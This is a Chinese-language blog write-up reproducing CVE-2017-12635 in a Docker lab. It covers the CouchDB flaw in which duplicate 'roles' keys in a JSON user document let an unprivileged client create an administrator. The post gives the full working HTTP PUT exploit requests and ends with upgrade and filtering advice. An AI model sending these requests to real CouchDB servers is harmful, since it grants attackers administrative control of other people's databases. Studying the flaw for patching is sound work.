[CVE-2017-12635] - CouchDB垂直越权漏洞


在这里插入图片描述

一、具体介绍 / 漏洞原理

  Apache CouchDB是一个开源的数据库,面向文档的数据库管理系统,专注易用性"完全使用Web"。使用JSON作为存储格式,JavaScript为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
  由于Erlang解析器和JavaScrip对JSON的解析方式不同(对于给定的两个键,Erlang解析器存储两个键而javaScrip只存储第二个值),导致语句执行产生差异性所致,可以让任意用户创建管理员(垂直越权)。

二、触发条件

  • 使用CouchDB数据库,开启5984端口
  • 版本<1.7.0以及 <2.1.1

三、漏洞场景 / 挖掘思路

  • 一些BBC用在其动态内容展示的平台
  • Credit Suisse用在其内部的商品部门的市场框架
  • Meebo
  • 用在其社交平台

四、漏洞复现

4.0 漏洞环境

(整个环境在局域网下实现)

  • 靶机:CentOS7 192.168.30.129
  • 攻击者:Kali 192.168.30.130(poc测试以及触发payload)
  • 宿主机:Win10 192.168.1.100、BurpSuite(模拟访问测试)

4.1 启动环境

》》docker-compose build
》》docker-compose up -d

Tips:如果不是第一次启动,重启docker并使用docker-compose重新运行即可
》》service docker restart
# 进入漏洞对应文件夹下
》》docker-compose down
》》docker-compose up -d

4.2 复现准备

当使用Docker-Compose编译并运行数据库后,便可以在宿主机:192.168.1.100上进行访问(以下是访问成功页面显示版本为1.6.0)

在这里插入图片描述

# 访问CouchDB数据库的WEB页面
》》http://192.168.30.129:5984/_utils/
在这里插入图片描述
# 这里如果未配置服务器管理员之前,所有客户端都具有管理员权限(这里为了方便测试我创建了一个用户名:密码为:admin:admin的管理员)
在这里插入图片描述
在这里插入图片描述

# 通过访问键值可访问到用户的json数据这里管理员的password显示为null(了解即可!)
在这里插入图片描述
# 当注销后在访问_users时显示无权访问此数据库(正常使用时大多数都会配置管理员的,因此到这里我们为了贴近漏洞攻击场景创建了管理员用户,这样使得HTTP访问只限于受限制的用户!)
在这里插入图片描述

4.3 攻击过程

# 将以下代码通过宿主机BurpSuite的Repeater模块发送到目标Host

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.30.129:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

# 点击Go可看到返回的报错403被禁止的信息:只有管理员可以设置角色
在这里插入图片描述

Tips:不要忘记配置Host信息

# 发送含有两个roles的数据包,即可绕过限制

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.30.129:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

# 可以看到成功创建的管理员,账号密码都为vulhub
在这里插入图片描述
# 再次访问http://<target_ip>:5984/_utils/,即可看到user的数量多了1个
在这里插入图片描述
# 我们使用vulhub:vulhub登录数据库查看_users数据库就能查看到我们添加的用户:
在这里插入图片描述

五、防御措施

  • 升级CouchDB的版本到1.7.1或2.1.1
  • 配置HTTP API参数,针对敏感信息加入黑名单
发布了111 篇原创文章 · 获赞 104 · 访问量 9万+

猜你喜欢

转载自blog.csdn.net/Aaron_Miller/article/details/97114298